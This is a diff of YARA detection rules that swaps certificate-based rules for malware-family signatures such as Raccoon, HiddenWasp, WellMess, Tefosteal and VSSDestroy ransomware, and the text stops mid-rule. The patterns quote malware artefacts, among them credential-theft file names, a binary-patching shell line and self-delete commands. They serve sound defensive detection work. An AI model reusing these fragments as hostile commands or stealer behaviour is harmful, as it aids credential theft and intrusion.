-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ESTELLA, OOO" and pe.signatures[i].serial=="73:6d:cf:d3:09:ea:4c:3b:ea:23:28:74:73:ff:e0:71")
+		uint16(0)==0x457f and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_09C89De6F64A7Fdf657E69353C5Fdd44 : FILE
+rule DITEKSHEN_MALWARE_Multi_Exaramel : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Exaramel Windows/Linux backdoor payload"
 		author = "ditekSHen"
-		id = "613c4253-8a53-5faa-8376-10c9a35805cf"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "014f10f3-4502-5719-93f6-4b2940f53876"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L276-L287"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L420-L459"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7fcb517a4160226cf89c13b5b27310d1e8a02d3f164a338a8d2901ef604f1d8a"
+		logic_hash = "e64383304bc913b07a2e63d61c81354b996c01171357005f4a28957d4d889599"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "7ad763dfdaabc1c5a8d1be582ec17d4cdcbd1aeb"
-		importance = 20
+		clamav_sig1 = "MALWARE_Linux.Backdoor.Exaramel"
+		clamav_sig2 = "MALWARE_Win.Backdoor.Exaramel"
+
+	strings:
+		$s1 = "vendor/golang_org/x/crypto/" ascii
+		$s2 = "vendor/golang_org/x/net/http2" ascii
+		$s3 = "vendor/golang_org/x/text/unicode" ascii
+		$s4 = "vendor/golang_org/x/text/transform" ascii
+		$s5 = "config.json" ascii
+		$cmd1 = "App.Update" ascii
+		$cmd2 = "App.Delete" ascii
+		$cmd3 = "App.SetProxy" ascii
+		$cmd4 = "App.SetServer" ascii
+		$cmd5 = "App.SetTimeout" ascii
+		$cmd6 = "IO.WriteFile" ascii
+		$cmd7 = "IO.ReadFile" ascii
+		$cmd8 = "OS.ShellExecute" ascii
+		$cmd9 = "awk 'match($0, /(upstart|systemd|sysvinit)/){ print substr($0, RSTART, RLENGTH);exit;" ascii
+		$ws1 = "/commands/@slp" wide
+		$ws2 = "/commands/cmd" wide
+		$ws3 = "/settings/proxy/@password" wide
+		$ws4 = "/settings/servers/server[@current='true']" wide
+		$ws5 = "/settings/servers/server/@current[text()='true']" wide
+		$ws6 = "/settings/servers/server[text()='%s']/@current" wide
+		$ws7 = "/settings/servers/server[%d]" wide
+		$ws8 = "/settings/storage" wide
+		$ws9 = "/settings/check" wide
+		$ws10 = "/settings/interval" wide
+		$ws11 = "report.txt" wide
+		$ws12 = "stg%02d.cab" ascii
+		$ws13 = "urlmon.dll" ascii
+		$ws14 = "ReportDir" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "EXON RENTAL SP Z O O" and pe.signatures[i].serial=="09:c8:9d:e6:f6:4a:7f:df:65:7e:69:35:3c:5f:dd:44")
+		( uint16(0)==0x457f and ( all of ($s*) and 6 of ($cmd*))) or ( uint16(0)==0x5a4d and 12 of ($ws*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_03B630F9645531F8868Dae8Ac0F8Cfe6 : FILE
+rule DITEKSHEN_MALWARE_Linux_Hiddenwasp : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "HiddenWasp backdoor payload"
 		author = "ditekSHen"
-		id = "ca5203b8-3029-5914-b611-1717aefc7ccf"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "220e5e6e-7c5c-5f70-b3eb-50d9c5ec636d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L289-L300"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L461-L486"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0c388ee7cfc2f35d5e020520d0c5a04b872d5deff63fc551308168e60122f7fc"
+		logic_hash = "a2aad022de41ba2633fc92a7dc5a5fa2efde9da2211cfc01fb2999e33365d6c9"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		thumbprint = "ab027825daf46c5e686e4d9bc9c55a5d8c5e957d"
-		importance = 20
+		clamav_sig1 = "MALWARE_Linux.Trojan.HiddenWasp-ELF"
+		clamav_sig2 = "MALWARE_Linux.Trojan.HiddenWasp-Script"
+
+	strings:
+		$x1 = "I_AM_HIDDEN" fullword ascii
+		$x2 = "HIDE_THIS_SHELL" fullword ascii
+		$x3 = "NewUploadFile" ascii
+		$x4 = "fake_processname" ascii
+		$x5 = "swapPayload" ascii
+		$x6 = /Trojan-(Platform|Machine|Hostname|OSersion)/ fullword ascii
+		$s1 = "FileOpration::GetFileData" fullword ascii
+		$s2 = "FileOpration::NewUploadFile" fullword ascii
+		$s3 = "Connection::writeBlock" fullword ascii
+		$s4 = /hiding_(hidefile|enable_logging|hideproc|makeroot)/ fullword ascii
+		$s5 = "Reverse-Port" fullword ascii
+		$s6 = "hidden_services" fullword ascii
+		$s7 = "check_config" fullword ascii
+		$s8 = "__data_start" fullword ascii
+		$s9 = /patch_(suger_lib|ld|lib)/ fullword ascii
+		$s10 = "hexdump -ve '1/1 \"%%.2X\"' %s | sed \"s/%s/%s/g\" | xxd -r -p > %s.tmp"
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Geksan LLC" and pe.signatures[i].serial=="03:b6:30:f9:64:55:31:f8:86:8d:ae:8a:c0:f8:cf:e6")
+		uint16(0)==0x457f and (4 of ($x*) or all of ($s*) or (3 of ($x*) and 5 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_020Bc03538Fbdc792F39D99A24A81B97 : FILE
+rule DITEKSHEN_MALWARE_Multi_Wellmess : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "WellMess Windows/Linux backdoor payload"
 		author = "ditekSHen"
-		id = "d5fd84b4-cccf-569d-96ea-26d9d21c6adf"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cfa0f077-9d45-5796-b888-66fb397e74f8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L302-L313"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L488-L510"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "154d7d814ff0b1c2d85557211dd68d0bd82e9953a9912ac3c26475a1316b0cb3"
+		logic_hash = "9cbbca609fd289d7406d9073237688d250dc68c450676b9b755509540d8f76a5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0ab2629e4e721a65ad35758d1455c1202aa643d3"
-		importance = 20
+		clamav_sig1 = "MALWARE_Win.Trojan.WellMess_DotNet"
+		clamav_sig2 = "MALWARE_Win.Trojan.WellMess_Golang"
+		clamav_sig3 = "MALWARE_Linux.Trojan.WellMess_Golang"
+
+	strings:
+		$s1 = "-----BEGIN PUBLIC KEY-----" ascii
+		$s2 = "-----END PUBLIC KEY-----" ascii
+		$s3 = "net/http.(*persistConn).readResponse" ascii
+		$s4 = "net/http/cookiejar.(*Jar).SetCookies" ascii
+		$s5 = "_/home/ubuntu/GoProject/src/bot/botlib" ascii
+		$s6 = "<;head;><;title;>" ascii
+		$s7 = "<;title;><;service;>" ascii
+		$s8 = "http://invalidlookup" ascii
+		$s9 = "<autogenerated>" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GLOBAL PARK HORIZON SP Z O O" and pe.signatures[i].serial=="02:0b:c0:35:38:fb:dc:79:2f:39:d9:9a:24:a8:1b:97")
+		( uint16(0)==0x457f or uint16(0)==0x5a4d) and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4E8D4Fc7D9F38Aca1169Fbf8Ef2Aaf50 : FILE
+rule DITEKSHEN_MALWARE_Win_Konni : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Konni payload"
 		author = "ditekSHen"
-		id = "03a23987-bbec-5072-bea4-56773bdc7d53"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "86eae9f6-60b0-5720-8528-ddbe32b6d4a6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L315-L326"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L512-L530"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2b440d21183745ac89de56f5ca22cf3f01be3212e20ce80fa67a45adbb6b16fe"
+		logic_hash = "d57c51f7ede28b74395e5e0fbcc5fd9247b3353330f3e549d5abf99bbd7a1b93"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7239764d40118fc1574a0af77a34e369971ddf6d"
-		importance = 20
+
+	strings:
+		$s1 = "uplog.tmp" fullword wide
+		$s2 = "upfile.tmp" fullword wide
+		$s3 = "%s-log-%s" fullword ascii wide
+		$s4 = "%s-down" ascii wide
+		$s5 = "%s-file-%s" fullword ascii wide
+		$s6 = "\"rundll32.exe\" \"%s\" install" fullword wide
+		$s7 = "subject=%s&data=" fullword ascii
+		$s8 = "dll-x64.dll" fullword ascii
+		$s9 = "dll-x32.dll" fullword ascii
+		$pdb1 = "\\virus-dropper\\Release\\virus-dropper.pdb" ascii
+		$pdb2 = "\\virus-init\\Release\\virus-init.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "INFINITE PROGRAMMING LIMITED" and pe.signatures[i].serial=="4e:8d:4f:c7:d9:f3:8a:ca:11:69:fb:f8:ef:2a:af:50")
+		uint16(0)==0x5a4d and (7 of ($s*) or (3 of ($s*) and 1 of ($pdb*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_09830675Eb483E265C3153F0A77C3De9 : FILE
+rule DITEKSHEN_MALWARE_Win_Bitterrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "BitterRAT payload"
 		author = "ditekSHen"
-		id = "3370886e-6866-598b-b3bf-29c7f2537425"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cccb2102-b78a-59ce-98e6-c702c4bec4d4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L328-L339"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L532-L551"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b0a504ed2a2816602ac378a700567909812650f409626a7b2c1e25cf7f8cb51c"
+		logic_hash = "f9dec388af6ddc767f82d7de7ba47754e76058022e6e55bbafd846ca8655a03b"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "1bb5503a2e1043616b915c4fce156c34304505d6"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.BitterRAT"
+
+	strings:
+		$s1 = "getfile" fullword wide
+		$s2 = "getfolder" fullword wide
+		$s3 = "winmgmts://./root/default:StdRegProv" fullword wide
+		$s4 = "winlog" fullword wide
+		$s5 = "winprt" fullword wide
+		$s6 = "c:\\intel\\" fullword ascii
+		$s7 = "AXE: #" fullword ascii
+		$s8 = "Bld: %s.%s.%s" fullword ascii
+		$s9 = "53656C656374202A2066726F6D2057696E33325F436F6D707574657253797374656D" wide nocase
+		$pdb1 = "\\28NovDwn\\Release\\28NovDwn.pdb" ascii
+		$pdb2 = "\\Shellcode\\Release\\Shellcode.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "James LTH d.o.o." and pe.signatures[i].serial=="09:83:06:75:eb:48:3e:26:5c:31:53:f0:a7:7c:3d:e9")
+		uint16(0)==0x5a4d and (7 of ($*) or (4 of ($s*) and 1 of ($pdb*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_351Fe2Efdc0Ac56A0C822Cf8 : FILE
+rule DITEKSHEN_MALWARE_Win_Tjkeylogger : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "TJKeylogger payload"
 		author = "ditekSHen"
-		id = "dcd82e7a-f235-5ff6-805b-0da7e0c0e385"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6aaa11b2-3734-5538-b593-f5276f3acc72"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L341-L352"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L553-L567"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a661adcd9366da7eab0aa8059bbe6236022f7513996603eb06c43a0b38ff4b85"
+		logic_hash = "52d98a6f5a2cfc6717b7097b4e70c1e813851222f9f06ae74be4e5703b0b0dde"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4230bca4b7e4744058a7bb6e355346ff0bbeb26f"
-		importance = 20
+
+	strings:
+		$s1 = "TJKeyLogger" fullword ascii
+		$s2 = "software\\microsoft\\windows\\currentversion\\run" fullword ascii
+		$s3 = "\\Passwords.txt" ascii
+		$s4 = "TJKeyLogItem" fullword ascii
+		$s5 = "TJKeyAsyncLog" fullword ascii
+		$s6 = "FM_GETDSKLST" fullword ascii
+		$s7 = "KL_GETMODE" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Logika OOO" and pe.signatures[i].serial=="35:1f:e2:ef:dc:0a:c5:6a:0c:82:2c:f8")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_07Bb6A9D1C642C5973C16D5353B17Ca4 : FILE
+rule DITEKSHEN_MALWARE_Win_W1RAT : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "W1 RAT payload"
 		author = "ditekSHen"
-		id = "a29590bb-d8f9-5842-81bd-f9a9f7cea642"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d5841bc0-97e7-575e-91f6-d264f507a8b5"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L354-L365"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L569-L585"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "faecdcd78bc60f730bfe5a049fd0bd1309b44d185c0cbc81dfc326a162d5fcb2"
+		logic_hash = "84b9a2e309ed9ab0fb8343d941585356d23348683073d0a37fc7194f58a43a0e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9de562e98a5928866ffc581b794edfbc249a2a07"
-		importance = 20
+
+	strings:
+		$s1 = "/c /Ox /Fa\"%s/%s.asm\" /Fo\"%s/%s.obj\" \"%s/%s.%s\"" ascii
+		$s2 = "this->piProcInfo.hProcess" fullword ascii
+		$s3 = "index >= 0 && index < this->reg_tab->GetLen()" fullword ascii
+		$s4 = "strcpy(log_font.lfFaceName,\"%s\");" fullword ascii
+		$s5 = "WorkShop -- [%s]" fullword ascii
+		$s6 = "HeaderFile.cpp" fullword ascii
+		$s7 = "WndLog.cpp" fullword ascii
+		$s8 = "assertion fail \"%s\" at file=%s line=%d" fullword ascii
+		$s9 = "Stdin   pipe   creation   failed" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MADAS d.o.o." and pe.signatures[i].serial=="07:bb:6a:9d:1c:64:2c:59:73:c1:6d:53:53:b1:7c:a4")
+		( uint16(0)==0x5a4d and 6 of ($s*)) or ( all of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_044E05Bb1A01A1Cbb50Cfb6Cd24E5D6B : FILE
+rule DITEKSHEN_MALWARE_Win_Raccoon : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Raccoon stealer payload"
 		author = "ditekSHen"
-		id = "e8dc8963-29c1-5306-bd7d-80ad9e1334d9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "5ebef663-623c-592e-b69a-f620492f0cc1"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L367-L378"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L587-L606"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c433b63f9c875a564f424ecc8e9239701ce8be78cd0046c1eefca8cf732abca3"
+		logic_hash = "258481982d20d229506f442a5a205fdc05f6ac4399f3a0665860e6529c30943b"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "149b7bbe88d4754f2900c88516ce97be605553ff"
-		importance = 20
+
+	strings:
+		$s1 = "inetcomm server passwords" fullword wide
+		$s2 = "content-disposition: form-data; name=\"file\"; filename=\"data.zip\"" fullword ascii
+		$s3 = ".?AVfilesystem_error@v1@filesystem@experimental@std@@" fullword ascii
+		$s4 = "CredEnumerateW" fullword ascii
+		$s5 = "%[^:]://%[^/]%[^" fullword ascii
+		$s6 = "%99[^:]://%99[^/]%99[^" fullword ascii
+		$s7 = "Login Data" wide
+		$s8 = "m_it.object_iterator != m_object->m_value.object->end()" fullword wide
+		$x1 = "endptr == token_buffer.data() + token_buffer.size()" fullword wide
+		$x2 = "\\json.hpp" wide
+		$x3 = "Microsoft_WinInet_" fullword wide
+		$x4 = "Microsoft_WinInet_*" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MUSTER PLUS SP Z O O" and pe.signatures[i].serial=="04:4e:05:bb:1a:01:a1:cb:b5:0c:fb:6c:d2:4e:5d:6b")
+		uint16(0)==0x5a4d and ((3 of ($x*) and 2 of ($s*)) or (4 of ($s*) and 1 of ($x*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0C14B611A44A1Bae0E8C7581651845B6 : FILE
+rule DITEKSHEN_MALWARE_Win_Tefosteal : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Tefosteal payload"
 		author = "ditekSHen"
-		id = "a6ebe304-e896-5cb3-8a49-ebffe0525601"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "56646933-3ed3-5b77-9135-993b57603490"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L380-L391"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L653-L674"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dae6318cf6f8e33e11af5c4b06379f8ef2744e784bb793c78f782b6a6286b84b"
+		logic_hash = "a350863270cbe3349f271e55d66a2ebdd6406e8d122c11071de74a774eb77ebf"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		thumbprint = "c3288c7fbb01214c8f2dc3172c3f5c48f300cb8b"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Tefosteal"
+
+	strings:
+		$s1 = "netsh wlan show networks mode=bssid" nocase fullword wide
+		$s2 = "LoginCredentialService.GetLoginCredentials$" ascii
+		$s3 = "DefaultLoginCredentials.LoginEventUsrPw$" ascii
+		$s4 = "SEC_E_NO_KERB_KEY" wide
+		$s5 = "TList<System.Zip.TZipHeader>." ascii
+		$s6 = "_Password.txt" fullword wide nocase
+		$s7 = "_Cookies.txt" fullword wide nocase
+		$f1 = "\\InfoPC\\BSSID.txt" wide
+		$f2 = "\\Files\\Telegram\\" wide
+		$f3 = "\\InfoPC\\Screenshot.png" wide
+		$f4 = "\\InfoPC\\Systeminfo.txt" wide
+		$f5 = "\\Steam\\config" wide
+		$f6 = "\\delete.vbs" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NEEDCODE SP Z O O" and pe.signatures[i].serial=="0c:14:b6:11:a4:4a:1b:ae:0e:8c:75:81:65:18:45:b6")
+		uint16(0)==0x5a4d and 4 of ($s*) and 2 of ($f*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0B1926A5E8Ae50A0Efa504F005F93869 : FILE
+rule DITEKSHEN_MALWARE_Win_Cryptostealergo : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "CryptoStealerGo payload"
 		author = "ditekSHen"
-		id = "905a4b5c-3255-5f53-be54-429038378ee0"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "83886aeb-af7e-564c-989a-fb7d955814e2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L393-L404"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L676-L692"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "78d507f76d44ed982d12c293604d5c4fed14316cbc18473b7131bb89997bad28"
+		logic_hash = "0050be7522e7d89cb9688e63fdca11d24baa74aa858e8c19ee7b4658518536b6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2052ed19dcb0e3dfff71d217be27fc5a11c0f0d4"
-		importance = 20
+
+	strings:
+		$s1 = "Go build ID: \"" ascii
+		$s2 = "file_upload.go" ascii
+		$s3 = "grequests.FileUpload" ascii
+		$s4 = "runtime.newproc" ascii
+		$s5 = "credit_cards" ascii
+		$s6 = "zip.(*fileWriter).Write" ascii
+		$s7 = "autofill_" ascii
+		$s8 = "XFxVc2VyIERhdGFcXA==" ascii
+		$s9 = "XFxBcHBEYXRhXFxMb2NhbFxc" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Nordkod LLC" and pe.signatures[i].serial=="0b:19:26:a5:e8:ae:50:a0:ef:a5:04:f0:05:f9:38:69")
+		uint16(0)==0x5a4d and 8 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Bab6A2Aa84B495D9E554A4C42C0126D : FILE
+rule DITEKSHEN_MALWARE_Win_M00Nd3V : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "M00nD3v keylogger payload"
 		author = "ditekSHen"
-		id = "be364465-0cab-59cd-82a2-b7b16f260f34"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4000f55d-e072-50b6-b6ee-72cefc0ec53f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L406-L417"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L694-L715"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a9ecdf1107cba0767ac3fa52c7dd65a13015e4fd735da70b6f1e6dbcfe2f7526"
+		logic_hash = "68a0888da3b114dc895fe18a3d03b2b88d140fbf82b888f7a031b9364d01aabf"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "230614366ddac05c9120a852058c24fa89972535"
-		importance = 20
+
+	strings:
+		$s1 = "M00nD3v Stub" ascii wide
+		$s2 = "M00nD3v{0}{1} Logs{0}{2} \\ {3}{0}{0}{4}" fullword wide
+		$s3 = "Anti-Keylogger Elite" wide
+		$s4 = "/C TASKKILL /F /IM" wide
+		$s5 = "echo.>{0}:Zone.Identifier" fullword wide
+		$s6 = "> Nul & Del \"{0}\" & start \"\" \"{1}.exe\"" wide
+		$s7 = "> Nul & start \"\" \"{1}.exe\"" wide
+		$s8 = "Stealer" fullword wide
+		$s9 = "{0}{0}++++++++++++{1} {2}++++++++++++{0}{0}" wide
+		$s10 = "{4}Application: {3}{4}URL: {0}{4}Username: {1}{4}Password: {2}{4}" wide
+		$s11 = "encrypted_key\":\"(?<Key>.+?)\"" wide
+		$s12 = "Botkiller" fullword ascii
+		$s13 = "AVKiller" fullword ascii
+		$s14 = "get_pnlPawns" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NOSOV SP Z O O" and pe.signatures[i].serial=="0b:ab:6a:2a:a8:4b:49:5d:9e:55:4a:4c:42:c0:12:6d")
+		( uint16(0)==0x5a4d and 6 of them ) or (9 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_066226Cf6A4D8Ae1100961A0C5404Ff9 : FILE
+rule DITEKSHEN_MALWARE_Win_Vssdestroy : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "VSSDestroy/Matrix ransomware payload"
 		author = "ditekSHen"
-		id = "75db8056-a5da-5db4-a837-84c5cc05f0fc"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "734ece56-b993-5b44-ae15-f673fabfe8ad"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L419-L430"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L717-L740"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0b7fa450d143de99650d0364e461178ad4e0b147b19dae53b59928b2a17c9b6d"
+		logic_hash = "24bfd32580f784440252d629a7ab86b84a570ded34409940616be2a89bf73088"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8c762918a58ebccb1713720c405088743c0d6d20"
-		importance = 20
+		snort_sid = "920008-920009"
+		clamav_sig = "MALWARE.Win.Ransomware.VSSDestroy"
+
+	strings:
+		$o1 = "[SHARESSCAN]" wide
+		$o2 = "[LDRIVESSCAN]" wide
+		$o3 = "[LOGSAVED]" wide
+		$o4 = "[LPROGRESS]" wide
+		$o5 = "[FINISHSAVED]" wide
+		$o6 = "[ALL_LOCAL_KID]" wide
+		$o7 = "[DIRSCAN" wide
+		$o8 = "[GENKEY]" wide
+		$s1 = "\\cmd.exe" nocase wide
+		$s2 = "/C powershell \"" nocase wide
+		$s3 = "%COMPUTERNAME%" wide
+		$s4 = "%USERNAME%" wide
+		$s5 = "Error loading Socket interface (ws2_32.dll)!" wide
+		$s6 = "Old file list dump found. Want to load it? (y/n):" fullword wide
 
 	condition:
